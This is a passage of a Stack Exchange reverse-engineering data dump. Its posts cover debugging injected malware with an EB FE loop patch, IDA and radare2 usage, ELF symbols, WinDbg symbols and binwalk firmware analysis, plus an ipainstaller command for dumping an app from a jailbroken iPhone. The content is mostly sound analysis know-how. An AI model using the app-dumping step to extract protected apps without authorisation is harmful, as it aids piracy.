&quot;stops&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can attach it with OllyDbg and begin your work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases malware injects itself into target process using other ways such as Shared Sections, Atombombing.Now you may not find &quot;WriteProcessMemory&quot; in these cases,but you will find  malware uses other ways to inject codes.So you can change the entry of codes injected into target process by patching the first 2 bytes to EB FE,the target process will run in a loop the same as what it does in first case.&lt;/p&gt;&#xA;" OwnerUserId="19154" LastEditorUserId="19154" LastEditDate="2017-03-14T06:36:15.443" LastActivityDate="2017-03-14T06:36:15.443" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14893" PostTypeId="1" CreationDate="2017-03-13T21:50:43.940" Score="-3" ViewCount="1619" Body="&lt;p&gt;Is there a way to dump .ipa file on iOS 10.2 (jailbroken) for future reverse-engineering? Tried to use Clutch, it doesn't dump the app. Just exits with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2017-03-13 23:17:24.702 Clutch[2195:100953] application &amp;lt;NSOperationQueue: 0x10bf909b0&amp;gt;{name = 'NSOperationQueue 0x10bf909b0'}&#xA;2017-03-13 23:17:24.702 Clutch[2195:100919] application &amp;lt;NSOperationQueue: 0x10bf0c9d0&amp;gt;{name = 'NSOperationQueue 0x10bf0c9d0'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;errors.&lt;/p&gt;&#xA;" OwnerUserId="13631" LastActivityDate="2017-03-13T22:08:14.100" Title="Dumping ipa file on iOS 10.2" Tags="|ios|dumping|" AnswerCount="1" CommentCount="0" ClosedDate="2017-03-15T09:42:43.710" ContentLicense="CC BY-SA 3.0" />
  <row Id="14894" PostTypeId="2" ParentId="14893" CreationDate="2017-03-13T22:08:14.100" Score="1" Body="&lt;p&gt;So Installing ipainstaller through Cydia and then dumping with command (through ssh)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ipainstaller -b com.example.targetapp -o /tmp/example.ipa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;does the work&lt;/p&gt;&#xA;" OwnerUserId="13631" LastActivityDate="2017-03-13T22:08:14.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14895" PostTypeId="1" CreationDate="2017-03-14T04:40:19.117" Score="6" ViewCount="5169" Body="&lt;p&gt;I found out that there are symbols with &lt;code&gt;binding=LOCAL&lt;/code&gt; and &lt;code&gt;visibility=HIDDEN&lt;/code&gt; in the symbol table (&lt;code&gt;.symtab&lt;/code&gt;) of ELF executables/libraries. What are they needed for? They are not involved in the relocation process nor can be invoked externally. Are they included in the symbol table for exception handling?&lt;/p&gt;&#xA;" OwnerUserId="19496" LastEditorUserId="18317" LastEditDate="2017-03-14T21:15:53.003" LastActivityDate="2017-03-14T21:49:35.100" Title="Why are symbols with local binding present in the symbol table of my ELF files?" Tags="|linux|elf|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14896" PostTypeId="2" ParentId="14877" CreationDate="2017-03-14T10:14:21.310" Score="-3" Body="&lt;p&gt;One of the most complete decompilers i use for pretty much everything ;) is the &lt;a href=&quot;https://radare.org/r/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radare2&lt;/a&gt;. Very agile, with a browser-based GUI (which you have to install extra :( ), supports python scripting and it decompiles almost everything!&lt;/p&gt;&#xA;" OwnerUserId="12537" LastActivityDate="2017-03-14T10:14:21.310" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14897" PostTypeId="2" ParentId="13940" CreationDate="2017-03-14T14:40:29.347" Score="1" Body="&lt;p&gt;There is no single &quot;proper&quot; way to solve such problem. In some cases the data format may be obvious by just looking at it, but more often it won't be. Monitoring reads/writes as @Rup mentions may work in some cases but the only 100% reliable way IMO would be to RE the code (e.g. ECU/immobilizer firmware) which reads and writes this data to see how it's processed. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-03-14T14:40:29.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14898" PostTypeId="1" CreationDate="2017-03-14T15:16:27.463" Score="1" ViewCount="3344" Body="&lt;p&gt;I'm using Windows 7 Service Pack 1 x64, downloaded the symbols and installed them to &lt;code&gt;C:\Windows\Symbols&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I insert &lt;code&gt;C:\Windows\Symbols&lt;/code&gt; to &lt;code&gt;File &amp;gt; Symbol File Path ...&lt;/code&gt; and &lt;code&gt;_NT_SYMBOL_PATH&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; .sympath&#xA;Symbol search path is: C:\Windows\Symbols&#xA;Expanded Symbol search path is: c:\windows\symbols&#xA;&#xA;0:000&amp;gt; .reload&#xA;Reloading current modules&#xA;..................................&#xA;*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\KERNELBASE.dll -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When opening an EXE I got some error messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll - &#xA;&#xA;0:000&amp;gt; !peb&#xA;PEB at 000007fffffda000&#xA;*************************************************************************&#xA;***                                                                   ***&#xA;***                                                                   ***&#xA;***    Your debugger is not using the correct symbols                 ***&#xA;***                                                                   ***&#xA;***    In order for this command to work properly, your symbol path   ***&#xA;***    must point to .pdb files that have full type information.      ***&#xA;***                                                                   ***&#xA;***    Certain .pdb files (such as the public OS symbols) do not      ***&#xA;***    contain the required information.  Contact the group that      ***&#xA;***    provided you with these symbols if you need this command to    ***&#xA;***    work.                                                          ***&#xA;***                                                                   ***&#xA;***    Type referenced: ntdll!_PEB                                    ***&#xA;***                                                                   ***&#xA;*************************************************************************&#xA;error 3 InitTypeRead( nt!_PEB at 000007fffffda000).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Did I miss anything? If I remember correctly, I didn't have such problems with XP.&lt;/p&gt;&#xA;" OwnerUserId="19500" LastActivityDate="2017-04-13T16:48:09.430" Title="Problem with symbols using WinDbg" Tags="|windbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14899" PostTypeId="2" ParentId="14308" CreationDate="2017-03-14T15:21:30.730" Score="2" Body="&lt;p&gt;Windows executables can have text in one of two formats:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;UI resources. These are stored in a special format in the .rsrc section and include things like strings, menus, dialogs and some others. Text in them is usually present in Unicode (UTF-16) encoding. Resources can be decompiled and edited by tools such as resource editors and easily replaced, usually without affecting functionality of the application.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hardcoded strings.  Unfortunately, many developers do not think of or care about localization and put various text strings directly into the code. These end up in the binary's &lt;code&gt;.text&lt;/code&gt; or &lt;code&gt;.rdata&lt;/code&gt; section and are represented by byte sequences in whatever codepage the developer used (in case of Japanese it's usually Shift-JIS). To translate such strings it is necessary to find them in the binary and either patch them in-place (if it can be done without running out of space), or (especially when there's not enough space) put the translated text somewhere else (e.g. in a new section or in the slack space of an existing section) and fix up all instructions and pointers pointing to the original string.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-03-14T15:21:30.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14900" PostTypeId="2" ParentId="14898" CreationDate="2017-03-14T15:25:06.990" Score="1" Body="&lt;p&gt;Since the PDB is not being matched, it seems the symbols for your specific DLL version are missing (you probably applied some updates). You can instead use the MS symbol server to automatically download the matching PDB. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.symfix+ c:\symcache&#xA;!sym noisy&#xA;.reload /f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-03-14T15:30:08.470" LastActivityDate="2017-03-14T15:30:08.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14901" PostTypeId="1" CreationDate="2017-03-14T19:04:51.670" Score="0" ViewCount="201" Body="&lt;p&gt;My understanding is that .NET (C#) code compiles to Common Intermediate Language (CIL) code, which then (usually) gets Just-In-Time compiled to native machine code at run-time on the deployment machine in conjunction with the common language runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, &lt;em&gt;how does the actual work that gets done on the deployment machine at runtime relate with standard native WinAPI calls, assuming we're talking about a Win NT deployment machine?&lt;/em&gt; If I were to open a .NET file in OllyDbg for example, am I going to still see system calls to ntdll and or Kernel32 showing up, coming from the JITC'd code? .NET is also &lt;em&gt;occasionally&lt;/em&gt; said to be &quot;running in a virtual machine&quot; similar to Java Bytecode. But still, at the end of the day, must the program still leave a signature of system calls in memory, even though the binary itself may not be able to be viewed properly by IDA?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been doing research into this and for example, I found &lt;a href=&quot;https://en.wikipedia.org/wiki/CryptGenRandom&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt; on CryptGenRandom which is used by &lt;a href=&quot;https://stackoverflow.com/questions/22591882/which-psudo-random-number-generation-algorithm-does-rngcryptoserviceprovider-use&quot;&gt;.NET's RNGCryptoServiceProvider&lt;/a&gt; . However, I've never heard of anyone using a native debugger to try to view these calls from JIT'd/interpreted/VM code.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2020-01-06T00:47:22.473" Title="How is .NET related to Windows system calls?" Tags="|windows|.net|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14904" PostTypeId="2" ParentId="14895" CreationDate="2017-03-14T21:49:35.100" Score="9" Body="&lt;h3&gt;Symbol Binding and Symbol Visibility&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are they needed for?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There must be a way for the &lt;a href=&quot;https://docs.oracle.com/cd/E23824_01/html/819-0690/chapter2-88783.html&quot; rel=&quot;noreferrer&quot;&gt;link editor&lt;/a&gt; (&lt;code&gt;ld&lt;/code&gt;) to determine the scope of a symbol during link-time. In other words, symbol binding allows the link editor to differentiate between symbols visible only within a particular file being linked (local scope) vs. symbols that can be referenced from within functions located in other files (global scope).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Symbol visibility attributes (default, protected, hidden or internal) have special meaning for the &lt;a href=&quot;http://man7.org/linux/man-pages/man8/ld.so.8.html&quot; rel=&quot;noreferrer&quot;&gt;runtime- (dynamic) linker (&lt;code&gt;ld-linux.so.*&lt;/code&gt;)&lt;/a&gt;, telling it which symbols in the symbol table are used by the executable internally vs. which symbols may be used by other executables dynamically linked to it at program runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://www.technovelty.org/code/why-symbol-visibility-is-good.html&quot; rel=&quot;noreferrer&quot;&gt;Why symbol visibility is good&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ELF has two related concepts for managing symbols in your programs.&#xA;  The first concept is the symbol &lt;strong&gt;binding&lt;/strong&gt;. &lt;em&gt;Global&lt;/em&gt; binding means the&#xA;  symbol is visible outside the file being built; &lt;em&gt;local&lt;/em&gt; binding is the&#xA;  opposite and keeps the symbol local only (static) and weak is like&#xA;  global, but suggests that the symbol can be overridden.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is all well and good, but starts breaking down when you want to load many different modules and keep strict API's (such as, say, dynamic libraries!).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Binding attributes are useful for the linker putting together object files; but aren't a complete solution.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To combat this, ELF provides for visibility attributes. Symbols can be default, protected, hidden or internal. Using these attributes, we can flag extra information for the dynamic loader so it can know which symbols are for public consumption, and which are for internal use only.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The most logical way to use this is to make all symbols by default hidden with &lt;code&gt;-fvisibility=hidden&lt;/code&gt; and then &quot;punch holes in the wall&quot; for those symbols you want visible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;Symbols and Relocation&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;They are not involved in the relocation process&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://refspecs.linux-foundation.org/elf/gabi41.pdf&quot; rel=&quot;noreferrer&quot;&gt;System V ABI Edition 4.1 (generic), Chapter 4: Object Files, Relocation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Relocation is the process of connecting symbolic references with&#xA;  symbolic definitions. For example, when a program calls a function,&#xA;  the associated call instruction must transfer control to the proper&#xA;  destination address at execution.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://docs.oracle.com/cd/E23824_01/html/819-0690/chapter2-90421.html&quot; rel=&quot;noreferrer&quot;&gt;Oracle Linker and Libraries Guide, Part I: Using the Link-Editor and Runtime Linker, Section 2: Link Editor Symbol Processing&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;During input file processing, all local symbols from the input&#xA;  relocatable objects are passed through to the output file image. All&#xA;  global symbols from the input relocatable objects, together with&#xA;  globals symbols from shared object dependencies, are accumulated&#xA;  internally within the link-editor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;Symbols and Program Runtime&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;nor can they be invoked externally&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Symbols are never invoked during program runtime. During runtime the instruction pointer in the CPU jumps to the memory addresses in virtual memory of instructions located at offsets calculated by the link-editor (relocation). If symbols were relevant during runtime the symbol table could not be removed (stripped) from executable binaries.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-03-14T21:49:35.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14905" PostTypeId="1" CreationDate="2017-03-15T02:26:38.590" Score="-1" ViewCount="1311" Body="&lt;p&gt;i want to create c script extract encrypt package. just can open it in hex editor to view and need knowledge and technique for write script for extract it. Script will work in command-line ( window 10 ).  I want to training my hex reversing skill. First, what need to look? Two, how to read? what is string,offset, byte, bit and how to know it in hex read? HOW THe SCRIPT RUN AND EXTRACT FILE? How do those words in script relate to numbers? How to find those word for script? where i can learning it? kind of patched number? I need all answer. If have any tutorial , please share me link . Also, i want to find best forum, no matter Russian or US, France. this is hex reverse engineering. please help.&lt;/p&gt;&#xA;" OwnerUserId="15660" LastActivityDate="2020-12-05T05:26:52.460" Title="what is best forum to ask about hex reversing?" Tags="|c|decryption|hex|" AnswerCount="1" CommentCount="5" ClosedDate="2017-03-15T07:52:44.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="14906" PostTypeId="1" AcceptedAnswerId="14907" CreationDate="2017-03-15T05:14:16.483" Score="0" ViewCount="358" Body="&lt;p&gt;I am studying to analysis malware..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While to analysis a malware using IDA, I want to rename array to API Name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To Help your understanding, attached image.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/uIe1g.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uIe1g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="19506" LastEditorUserId="2318" LastEditDate="2017-03-15T07:42:02.053" LastActivityDate="2017-03-15T08:44:06.257" Title="How can i rename Array to API Name in IDAPro?" Tags="|ida|ida-plugin|decompiler|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14907" PostTypeId="2" ParentId="14906" CreationDate="2017-03-15T06:36:09.953" Score="0" Body="&lt;p&gt;You can convert it to structure, this will produce much more readable code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to do this you have to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a structure in structures window, according to the size of array, create there corresponding number of fields (Open window, press &lt;kbd&gt;INS&lt;/kbd&gt;, use &lt;kbd&gt;d&lt;/kbd&gt; key to add fields).&lt;/li&gt;&#xA;&lt;li&gt;Rename structure fields according to API names, and set their type as function pointers with &lt;kbd&gt;Y&lt;/kbd&gt; key. For example for &lt;code&gt;GetProcAddress&lt;/code&gt; field it will look like &lt;code&gt;_DWORD (__stdcall *pGetProcAddress)(_DWORD, _DWORD);&lt;/code&gt; - it is a standard definition of &lt;a href=&quot;http://www.newty.de/fpt/fpt.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;C function pointers&lt;/a&gt; with small addition of &lt;code&gt;__stdcall&lt;/code&gt; marker of the calling convention.&lt;/li&gt;&#xA;&lt;li&gt;Set your a1 variable type to the created structure (In decompiler window locate cursor on your &lt;code&gt;a1&lt;/code&gt; variable, press &lt;kbd&gt;Y&lt;/kbd&gt; and enter the structure name)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need more detailed walkthrough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative for defining structure inside IDA (bullets 1 and 2) you can write a header file with something similar to the following (btw, see the type definitions in the structure):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct apis&#xA;{&#xA;  void* (__stdcall *pGetProcAddress)(_DWORD, _DWORD);&#xA;  _DWORD (__stdcall *pSetErrorMode)(_DWORD);&#xA;  _DWORD (__stdcall *pGetTempPathA)(_DWORD, _DWORD);&#xA;  _DWORD (__stdcall *pGetTempGileNameA)(_DWORD *, _DWORD *, _DWORD, _DWORD *);&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and import it into the IDB with &lt;kbd&gt;Ctrl+F9&lt;/kbd&gt;. You can find and edit this structure in Local types window (&lt;kbd&gt;Shift+F1&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2017-03-15T08:44:06.257" LastActivityDate="2017-03-15T08:44:06.257" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14909" PostTypeId="1" AcceptedAnswerId="14911" CreationDate="2017-03-15T08:13:01.063" Score="2" ViewCount="5842" Body="&lt;p&gt;I used &lt;code&gt;rabin2 -Sr myfilename&lt;/code&gt; to get the size of the &lt;code&gt;.text&lt;/code&gt; section of &lt;code&gt;myfilename&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, how can I dump the whole hexadecimal section of the &lt;code&gt;.text&lt;/code&gt; onto an output file? My purpose is to read the byte code of the &lt;code&gt;.text&lt;/code&gt; section of a PE file.&lt;/p&gt;&#xA;" OwnerUserId="19508" LastEditorUserId="53" LastEditDate="2017-03-15T10:36:15.307" LastActivityDate="2020-02-22T16:00:39.487" Title="How to display .text section of a PE in radare2?" Tags="|pe|radare2|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14910" PostTypeId="2" ParentId="14905" CreationDate="2017-03-15T08:14:33.330" Score="2" Body="&lt;p&gt;We call it data (file format) reverse engineering but, it is also bounded with software reverse engineering because you need to examine (if you have) actual software which creates, edits, extracts this file-type. Reverse Engineering Stack Exchange is not a forum but, it is most helpful community I have ever seen. Also, just a few active forums discuss reverse engineering topics and they expect you know some basics about this field. Most people don't want to help step by step reverse engineering to somebody. For resources I can recommend you &lt;a href=&quot;http://eu.wiley.com/WileyCDA/WileyTitle/productCd-0764574817.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reversing: Secrets of Reverse Engineering&lt;/a&gt; and &lt;a href=&quot;https://beginners.re&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering for Beginners&lt;/a&gt; to start. It discuss theoretical basics and practical examples of reverse engineering.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastEditorUserId="18804" LastEditDate="2020-12-05T05:26:52.460" LastActivityDate="2020-12-05T05:26:52.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14911" PostTypeId="2" ParentId="14909" CreationDate="2017-03-15T09:46:39.400" Score="2" Body="&lt;p&gt;In fact, this is quite easy:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First list the sections with &lt;code&gt;S&lt;/code&gt; (see &lt;code&gt;S?&lt;/code&gt; to know all the commands about the sections).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00005430]&amp;gt; S&#xA;[00] . 0x00000238 -r-- va=0x00000238 sz=0x001c vsz=0x001c .interp&#xA;[01] . 0x00000254 -r-- va=0x00000254 sz=0x0020 vsz=0x0020 .note.ABI_tag&#xA;[02] . 0x00000274 -r-- va=0x00000274 sz=0x0024 vsz=0x0024 .note.gnu.build_id&#xA;[03] . 0x00000298 -r-- va=0x00000298 sz=0x00b4 vsz=0x00b4 .gnu.hash&#xA;[04] . 0x00000350 -r-- va=0x00000350 sz=0x0cc0 vsz=0x0cc0 .dynsym&#xA;[05] . 0x00001010 -r-- va=0x00001010 sz=0x05dd vsz=0x05dd .dynstr&#xA;[06] . 0x000015ee -r-- va=0x000015ee sz=0x0110 vsz=0x0110 .gnu.version&#xA;[07] . 0x00001700 -r-- va=0x00001700 sz=0x0070 vsz=0x0070 .gnu.version_r&#xA;[08] . 0x00001770 -r-- va=0x00001770 sz=0x1368 vsz=0x1368 .rela.dyn&#xA;[09] . 0x00002ad8 -r-- va=0x00002ad8 sz=0x09f0 vsz=0x09f0 .rela.plt&#xA;[10] . 0x000034c8 -r-x va=0x000034c8 sz=0x0017 vsz=0x0017 .init&#xA;[11] . 0x000034e0 -r-x va=0x000034e0 sz=0x06b0 vsz=0x06b0 .plt&#xA;[12] . 0x00003b90 -r-x va=0x00003b90 sz=0x0020 vsz=0x0020 .plt.got&#xA;[13] * 0x00003bb0 -r-x va=0x00003bb0 sz=0x12099 vsz=0x12099 .text&#xA;[14] . 0x00015c4c -r-x va=0x00015c4c sz=0x0009 vsz=0x0009 .fini&#xA;[15] . 0x00015c60 -r-- va=0x00015c60 sz=0x4f14 vsz=0x4f14 .rodata&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may have noticed the &lt;code&gt;*&lt;/code&gt; on section 13 (&lt;code&gt;.text&lt;/code&gt;), so we have already selected the &lt;code&gt;.text&lt;/code&gt; section (this is the default). To be sure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00005430]&amp;gt; S.&#xA;0x00007760 0x000197f9 .text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently, I do not know how to change this &lt;em&gt;current section&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then, you can print the whole section with the &lt;code&gt;px&lt;/code&gt; command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00005430]&amp;gt; px 0x00007760&#xA;Do you want to print 1911 lines? (y/N)&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00007760  0000 00e8 f8e0 ffff 84c0 0f84 c000 0000  ................&#xA;0x00007770  b910 0100 00e9 56fd ffff 660f 1f44 0000  ......V...f..D..&#xA;0x00007780  418b 97bc 0000 0048 8b35 c28d 2100 4183  A......H.5..!.A.&#xA;0x00007790  f401 4d89 e945 0fb6 c431 c948 89ef e82d  ..M..E...1.H...-&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, you can dump the content of the whole &lt;code&gt;.text&lt;/code&gt; section in a file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00005430]&amp;gt; Sd text.bin&#xA;Dumped 73881 bytes into text.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helped.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2017-03-15T10:13:42.963" LastActivityDate="2017-03-15T10:13:42.963" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14912" PostTypeId="2" ParentId="13410" CreationDate="2017-03-15T18:12:28.860" Score="6" Body="&lt;p&gt;Here is the link to the firmware update: &lt;a href=&quot;http://av.jpn.support.panasonic.com/support/global/cs/dsc/download/fts/index2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joint update service for Four Thirds lenses&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These results are most likely false positives. After the first ~1536 bytes the data is encoded and essentially random (very high entropy). ZBOOT firmware is typically found in TVs and ISAM and MYISAM files are used by the MySQL &lt;a href=&quot;https://dev.mysql.com/doc/refman/5.7/en/myisam-storage-engine.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;MyISAM storage engine&lt;/a&gt;, which seems unlikely to be running on an embedded system with significant memory constraints like a digital camera.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Analysis&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Signatures&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the 3-byte sequences of the signatures for MySQL files (from &lt;a href=&quot;https://github.com/devttys0/binwalk/blob/master/src/binwalk/magic/sql&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;binwalk/sql&lt;/code&gt;&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\xfe\xfe\x03    MySQL MISAM index file&#xA;\xfe\xfe\x05    MySQL ISAM index file&#xA;\xfe\xfe\x06    MySQL ISAM compressed data file&#xA;\xfe\xfe\x07    MySQL MISAM compressed data file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A shorter byte sequence has a higher likelihood of appearing in a 31901184-byte binary file with very high entropy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the signature for a ZBOOT firmware header (from &lt;a href=&quot;https://github.com/devttys0/binwalk/blob/master/src/binwalk/magic/firmware&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;binwalk/firmware&lt;/code&gt;&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Firmware header used by some TV's&#xA;0   string      FNIB        ZBOOT firmware header, header size: 32 bytes,&#xA;&amp;gt;8  lelong      x           load address: 0x%.8X,&#xA;&amp;gt;12 lelong      x           start address: 0x%.8X,&#xA;&amp;gt;16 lelong      x           checksum: 0x%.8X,&#xA;&amp;gt;20 lelong      x           version: 0x%.8X,&#xA;&amp;gt;24 lelong      &amp;lt;1          invalid&#xA;&amp;gt;24 lelong      x           image size: %d bytes &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at the bytes &lt;code&gt;binwalk&lt;/code&gt; detects as a ZBOOT signature using &lt;code&gt;hexdump&lt;/code&gt; confirms the scan output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ hexdump -C -s 31869478 -n 24 GM5__V11.bin&#xA;01e64a26  46 4e 49 42 ba 86 a0 69  30 f8 f4 29 5d 29 92 96  |FNIB...i0..)])..|&#xA;01e64a36  27 73 83 11 16 73 43 b1                           |'s...sC.|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A load address of &lt;code&gt;0x29F4F830&lt;/code&gt;, start address of &lt;code&gt;0x9692295D&lt;/code&gt;, version number of &lt;code&gt;0xB1437316&lt;/code&gt;, and image size of 1837825596 bytes all appear to be incorrect. A firmware image 1.8 GB in size implies at least that much space in memory for the image to be loaded into, which does not seem correct for a digital camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Entropy Analysis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the entropy plot generated by &lt;code&gt;binwalk&lt;/code&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zXNSY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zXNSY.png&quot; alt=&quot;binwalk entropy plot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The very smooth line close to 1 &lt;a href=&quot;http://www.devttys0.com/2013/06/differentiate-encryption-from-compression-using-math/&quot; rel=&quot;nofollow noreferrer&quot;&gt;suggests compression or encryption&lt;/a&gt;. More support for this is provided by 